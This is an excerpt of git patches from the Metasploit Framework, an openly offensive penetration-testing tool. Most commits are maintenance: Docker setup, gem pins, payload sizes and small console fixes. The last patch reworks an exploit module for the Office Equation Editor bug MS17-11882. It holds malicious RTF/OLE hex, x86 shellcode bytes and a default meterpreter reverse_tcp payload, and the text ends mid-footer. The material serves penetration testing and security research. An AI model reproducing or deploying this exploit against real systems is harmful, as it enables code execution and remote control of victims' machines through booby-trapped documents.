diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
index 07bb971461..264643fb7d 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
 
 module MetasploitModule
 
-  CachedSize = 789068
+  CachedSize = 793284
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
index d1eeb5d196..a4d7677fd4 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
 
 module MetasploitModule
 
-  CachedSize = 789068
+  CachedSize = 793284
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions

From 035d1ef2c63b0729d2689e4599016b328493db69 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Sat, 25 Nov 2017 18:21:57 -0600
Subject: [PATCH 208/254] bump payloads, pull in AES negotation & transport
 fixes

---
 Gemfile.lock                 | 4 ++--
 metasploit-framework.gemspec | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index dfcf9d1632..50977088a9 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -17,7 +17,7 @@ PATH
       metasploit-concern
       metasploit-credential
       metasploit-model
-      metasploit-payloads (= 1.3.15)
+      metasploit-payloads (= 1.3.17)
       metasploit_data_models
       metasploit_payloads-mettle (= 0.2.8)
       msgpack
@@ -178,7 +178,7 @@ GEM
       activemodel (~> 4.2.6)
       activesupport (~> 4.2.6)
       railties (~> 4.2.6)
-    metasploit-payloads (1.3.15)
+    metasploit-payloads (1.3.17)
     metasploit_data_models (2.0.15)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 49feede5fa..cb469296e6 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
   # are needed when there's no database
   spec.add_runtime_dependency 'metasploit-model'
   # Needed for Meterpreter
-  spec.add_runtime_dependency 'metasploit-payloads', '1.3.15'
+  spec.add_runtime_dependency 'metasploit-payloads', '1.3.17'
   # Needed for the next-generation POSIX Meterpreter
   spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.8'
   # Needed by msfgui and other rpc components

From 50351320d779389ff911ccf72e26d73dba5c952f Mon Sep 17 00:00:00 2001
From: Christian Mehlmauer <firefart@gmail.com>
Date: Tue, 28 Nov 2017 21:35:20 +0100
Subject: [PATCH 209/254] more docker work

---
 .dockerignore                                 |  2 +-
 .gitignore                                    |  1 +
 Dockerfile                                    | 14 +++---
 ...verride.yml => docker-compose.override.yml |  5 +-
 docker-compose.yml                            |  9 ++--
 docker/README.md                              | 48 ++++++-------------
 docker/bin/msfconsole                         | 10 ++--
 docker/bin/msfconsole-dev                     | 27 -----------
 docker/bin/msfvenom                           | 14 ++++--
 docker/bin/msfvenom-dev                       | 26 ----------
 lib/msf/ui/console/command_dispatcher/db.rb   |  2 +
 11 files changed, 49 insertions(+), 109 deletions(-)
 rename docker/docker-compose.development.override.yml => docker-compose.override.yml (78%)
 delete mode 100755 docker/bin/msfconsole-dev
 delete mode 100755 docker/bin/msfvenom-dev

diff --git a/.dockerignore b/.dockerignore
index a066428ead..b6add3b6e4 100644
--- a/.dockerignore
+++ b/.dockerignore
@@ -34,7 +34,7 @@ config/database.yml
 # target config file for testing
 features/support/targets.yml
 # simplecov coverage data
-coverage
+coverage/
 doc/
 external/source/meterpreter/java/bin
 external/source/meterpreter/java/build
diff --git a/.gitignore b/.gitignore
index 233af3374f..8398940932 100644
--- a/.gitignore
+++ b/.gitignore
@@ -88,6 +88,7 @@ data/meterpreter/ext_server_pivot.*.dll
 
 # local docker compose overrides
 docker-compose.local*
+.env
 
 # Ignore python bytecode
 *.pyc
diff --git a/Dockerfile b/Dockerfile
index e4cfb5517e..f6c0007042 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,14 +1,17 @@
 FROM ruby:2.4.2-alpine
-MAINTAINER Rapid7
+LABEL maintainer="Rapid7"
 
 ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
 ENV APP_HOME /usr/src/metasploit-framework/
 ENV MSF_USER msf
 ENV NMAP_PRIVILEGED=""
+ENV BUNDLE_IGNORE_MESSAGES="true"
 WORKDIR $APP_HOME
 
-COPY Gemfile* m* Rakefile $APP_HOME
-COPY lib $APP_HOME/lib
+COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
+COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
+COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
+COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
 
 RUN apk update && \
     apk add \
@@ -36,8 +39,7 @@ RUN apk update && \
       ncurses-dev \
       git \
     && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
-    # this currently fails: https://github.com/rubygems/rubygems/issues/2064
-    # && gem update --system \
+    && gem update --system \
     && gem install bundler \
     && bundle install --system $BUNDLER_ARGS \
     && apk del .ruby-builddeps \
@@ -46,7 +48,7 @@ RUN apk update && \
 RUN adduser -g msfconsole -D $MSF_USER
 
 RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
-RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip /usr/bin/nmap
+RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
 
 USER $MSF_USER
 
diff --git a/docker/docker-compose.development.override.yml b/docker-compose.override.yml
similarity index 78%
rename from docker/docker-compose.development.override.yml
rename to docker-compose.override.yml
index f4ac60633a..134c1e8503 100644
--- a/docker/docker-compose.development.override.yml
+++ b/docker-compose.override.yml
@@ -1,13 +1,14 @@
-version: '2'
+version: '3'
 
 services:
   ms:
     build:
+      context: .
+      dockerfile: ./Dockerfile
       args:
         BUNDLER_ARGS: --jobs=8
     image: metasploit:dev
     environment:
       DATABASE_URL: postgres://postgres@db:5432/msf_dev
-
     volumes:
       - .:/usr/src/metasploit-framework
diff --git a/docker-compose.yml b/docker-compose.yml
index 0f433b31fe..725f398500 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,10 +1,7 @@
-version: '2'
+version: '3'
 services:
   ms:
-    image: metasploit
-    build:
-      context: .
-      dockerfile: ./Dockerfile
+    image: metasploitframework/metasploit-framework:latest
     environment:
       DATABASE_URL: postgres://postgres@db:5432/msf
     links:
@@ -16,7 +13,7 @@ services:
       - /etc/localtime:/etc/localtime:ro
 
   db:
-    image: postgres:9-alpine
+    image: postgres:10-alpine
     volumes:
       - pg_data:/var/lib/postgresql/data
 
diff --git a/docker/README.md b/docker/README.md
index a137b8c327..cec9d02070 100644
--- a/docker/README.md
+++ b/docker/README.md
@@ -3,43 +3,36 @@
 
 To run `msfconsole`
 ```bash
+docker-compose build
 docker-compose run --rm --service-ports ms
 ```
+or
+```bash
+./docker/bin/msfconsole
+```
 
 To run `msfvenom`
 ```bash
-docker-compose run --rm ms ./msfvenom
+docker-compose build
+docker-compose run --rm --no-deps ms ./msfvenom
 ```
-
-### I don't like typing `docker-compose --rm ...`
-
-We have included some binstubs `./bin`, you can symlink them to your path.
-
-Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root:
-
+or
 ```bash
-ln -s `pwd`/docker/bin/msfconsole $HOME/bin/
-ln -s `pwd`/docker/bin/msfvenom $HOME/bin/
+./docker/bin/msfvenom
 ```
 
-If you set the environment variable `MSF_BUILD` the container will be rebuilt.
-
-```bash
-MSF_BUILD=1 ./docker/bin/msfconsole
-MSF_BUILD=1 ./docker/bin/msfconsole-dev
-```
+You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
 
 ### But I want reverse shells...
 
-By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip
-of your host machine.
+By default we expose port `4444`.
 
 If you want to expose more ports, or have `LHOST` prepopulated with a specific
 value; you'll need to setup a local docker-compose override for this.
 
-Create `docker/docker-compose.local.override.yml` with:
+Create `docker-compose.local.override.yml` with:
 ```yml
-version: '2'
+version: '3'
 services:
   ms:
     environment:
@@ -56,19 +49,6 @@ Now you need to set the `COMPOSE_FILE` environment variable to load your local
 override.
 
 ```bash
-echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env
+echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env
 ```
 Now you should be able get reverse shells working
-
-## Developing
-
-To setup you environment for development, you need to add `docker/docker-compose.development.override.yml`
-to your `COMPOSE_FILE` environment variable.
-
-If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this:
-
-```bash
-echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env
-```
-
-Alternatively you can also use the `msfconsole-dev` binstub.
diff --git a/docker/bin/msfconsole b/docker/bin/msfconsole
index a6b0b722f7..b85d150546 100755
--- a/docker/bin/msfconsole
+++ b/docker/bin/msfconsole
@@ -19,8 +19,12 @@ fi
 
 cd $MSF_PATH
 
-if [[ -n "$MSF_BUILD" ]]; then
-  docker-compose -f $MSF_PATH/docker-compose.yml build
+PARAMS="$@"
+
+if [[ $PARAMS == *"--rebuild"* ]]; then
+  echo "Rebuilding image"
+  docker-compose build
+  exit $?
 fi
 
-docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
+docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
diff --git a/docker/bin/msfconsole-dev b/docker/bin/msfconsole-dev
deleted file mode 100755
index 69cf879975..0000000000
--- a/docker/bin/msfconsole-dev
+++ /dev/null
@@ -1,27 +0,0 @@
-#! /bin/bash
-
-if [[ -z "$MSF_PATH" ]]; then
-  path=`dirname $0`
-
-  # check for ./docker/msfconsole.rc
-  if [[ ! -f $path/../msfconsole.rc ]] ; then
-
-    # we are not inside the project
-    realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
-
-    # determine script path
-    pushd $(dirname $(realpath $0)) > /dev/null
-    path=$(pwd)
-    popd > /dev/null
-  fi
-  MSF_PATH=$(dirname $(dirname $path))
-fi
-
-cd $MSF_PATH
-
-if [[ -n "$MSF_BUILD" ]]; then
-  docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
-fi
-
-docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
-
diff --git a/docker/bin/msfvenom b/docker/bin/msfvenom
index 3efc05168d..dd0f96cd49 100755
--- a/docker/bin/msfvenom
+++ b/docker/bin/msfvenom
@@ -17,9 +17,15 @@ if [[ -z "$MSF_PATH" ]]; then
   MSF_PATH=$(dirname $(dirname $path))
 fi
 
-if [[ -n "$MSF_BUILD" ]]; then
-  docker-compose -f $MSF_PATH/docker-compose.yml build
+cd $MSF_PATH
+
+PARAMS="$@"
+
+if [[ $PARAMS == *"--rebuild"* ]]; then
+  echo "Rebuilding image"
+  docker-compose build
+  exit $?
 fi
 
-cd $MSF_PATH
-docker-compose run --rm --service-ports ms ./msfvenom "$@"
+# we need no database here
+docker-compose run --rm --no-deps ms ./msfvenom "$PARAMS"
diff --git a/docker/bin/msfvenom-dev b/docker/bin/msfvenom-dev
deleted file mode 100755
index 32b1049748..0000000000
--- a/docker/bin/msfvenom-dev
+++ /dev/null
@@ -1,26 +0,0 @@
-#! /bin/bash
-
-if [[ -z "$MSF_PATH" ]]; then
-  path=`dirname $0`
-
-  # check for ./docker/msfconsole.rc
-  if [[ ! -f $path/../msfconsole.rc ]] ; then
-
-    # we are not inside the project
-    realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
-
-    # determine script path
-    pushd $(dirname $(realpath $0)) > /dev/null
-    path=$(pwd)
-    popd > /dev/null
-  fi
-  MSF_PATH=$(dirname $(dirname $path))
-fi
-
-cd $MSF_PATH
-
-if [[ -n "$MSF_BUILD" ]]; then
-  docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
-fi
-
-docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfvenom "$@"
diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index e37a16a350..edccdb50cd 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -1826,6 +1826,8 @@ class Db
     if (path)
       auth, dest = path.split('@')
       (dest = auth and auth = nil) if not dest
+      # remove optional scheme in database url
+      auth = auth.sub(/^\w+:\/\//, "") if auth
       res[:user],res[:pass] = auth.split(':') if auth
       targ,name = dest.split('/')
       (name = targ and targ = nil) if not name

From 0d38b7076390825a4b1a97afd25788e0907529ca Mon Sep 17 00:00:00 2001
From: Christian Mehlmauer <firefart@gmail.com>
Date: Tue, 28 Nov 2017 21:59:26 +0100
Subject: [PATCH 210/254] make travis build the image again

---
 .travis.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.travis.yml b/.travis.yml
index ffcbff526b..5d4166a1b4 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -25,7 +25,7 @@ matrix:
 jobs:
   # build docker image
   include:
-  - env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
+  - env: CMD="docker-compose build" DOCKER="true"
     # we do not need any setup
     before_install: skip
     install: skip

From 7b3bf85d0315988c0525194606c57d4c8d45ab67 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Tue, 28 Nov 2017 16:00:28 -0600
Subject: [PATCH 211/254] Print the generated command stager for debugging

---
 lib/msf/core/exploit/cmdstager.rb | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb
index 11c29a5c32..59e77b92f2 100644
--- a/lib/msf/core/exploit/cmdstager.rb
+++ b/lib/msf/core/exploit/cmdstager.rb
@@ -137,6 +137,8 @@ module Exploit::CmdStager
       raise ArgumentError, 'The command stager could not be generated'
     end
 
+    vprint_status("Generated command stager: #{cmd_list.join}")
+
     cmd_list
   end
 

From f132c1572f251848472031ee28086cf9e671e179 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Tue, 28 Nov 2017 17:15:56 -0600
Subject: [PATCH 212/254] Fix #9194, clarified error for reloading modules

---
 lib/msf/ui/console/command_dispatcher/modules.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb
index a7a8c806f8..bbb1993c29 100644
--- a/lib/msf/ui/console/command_dispatcher/modules.rb
+++ b/lib/msf/ui/console/command_dispatcher/modules.rb
@@ -99,7 +99,7 @@ module Msf
                 print_status("Reloading #{path}")
                 load path
               else
-                print_error('Only Ruby files can be reloaded')
+                print_error('Only Ruby files can be reloaded (use reload/rerun for modules)')
               end
             else
               print_error('Nothing to edit -- try using a module first.')

From cb7f173811af79d7b8393bd2cfa33a46488e7e1f Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 28 Nov 2017 21:36:25 -0500
Subject: [PATCH 213/254] Update office_ms17_11882.rb

---
 .../windows/fileformat/office_ms17_11882.rb   | 160 +++++++++++-------
 1 file changed, 103 insertions(+), 57 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index f87d1032fb..47d486f734 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpServer
   include Msf::Exploit::Powershell
   include Msf::Exploit::EXE
+  include Msf::Exploit::FILEFORMAT
 
 
   def initialize(info = {})
@@ -38,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Payload' => {
         'DisableNops' => true
       },
+      'Stance' => Msf::Exploit::Stance::Aggressive,
       'DefaultOptions' => {
         'EXITFUNC' => 'thread',
         'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
@@ -55,54 +57,107 @@ class MetasploitModule < Msf::Exploit::Remote
     header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
     header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
     header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
-    header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
-    header << '0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e007400720079000000000000000000000000000000000000000000000000000000'
-    header << '00000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020ce'
-    header << 'a5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000'
-    header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000'
-    header << '000000000000001400000000000000010043006f006d0070004f0062006a0000000000000000000000000000000000000000000000000000000000000000000000'
-    header << '0000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000'
-    header << '0001000000660000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000'
-    header << '00000000000000000000000012000201ffffffff04000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000003'
-    header << '0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffff0100000208000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
-    header << '00000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
-    header << '71756174696f6e000b0000004571756174696f6e2e3300f439b2710000000000000000000000000000000000000000000000000000000000000000000000000000'
-    header << "00000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n"
+    header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
+    header << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
+    header << '09000600000000000000000000000100000001000000000000000010000002000'
+    header << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
+    header << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
+    header << '07400720079000000000000000000000000000000000000000000000000000000'
+    header << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
+    header << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
+    header << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
+    header << '00000000000000000000000000000000000000000000000000000000000000000'
+    header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
+    header << '00000000000000000000000000000000000000000000000000000000000000000'
+    header << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
+    header << '00000000000000000000000000000000000000000000000000000000000000000'
+    header << '0000000000000000000000000000120002010100000003000000ffffffff00000'
+    header << '00000000000000000000000000000000000000000000000000000000000000000'
+    header << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
+    header << '00000000000000000000000000000000000000000000000000000000000000000'
+    header << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
+    header << '00000000000000000000000000000000000000000000000000000000000000003'
+    header << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
+    header << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    header << 'ffffff01000002080000000000000000000000000000000000000000000000000'
+    header << '00000000000000000000000000000000000000000000000000000000000000000'
+    header << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
+    header << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
+    header << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
+    header << '00000000000000000000000000000000000000000000000000000000000000000'
+    header << "00000300040000000000000000000000000000000000000000000000000000000"
+    header << "000000000000000000000000000000000000000000000000000000000000000\n"
+
+
+    shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00"
+    shellcode << "\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
+    shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09"
+    shellcode << "\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53"
+    shellcode << "\x66\x83\xEE\x4C\xFF\x10\x90\x90"
 
     footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
-    footer << '4500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000'
-    footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000400'
-    footer << '0000C50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
-    footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000'
-    footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
-    footer << '0000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
-    footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
-    footer << '000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
-    footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C'
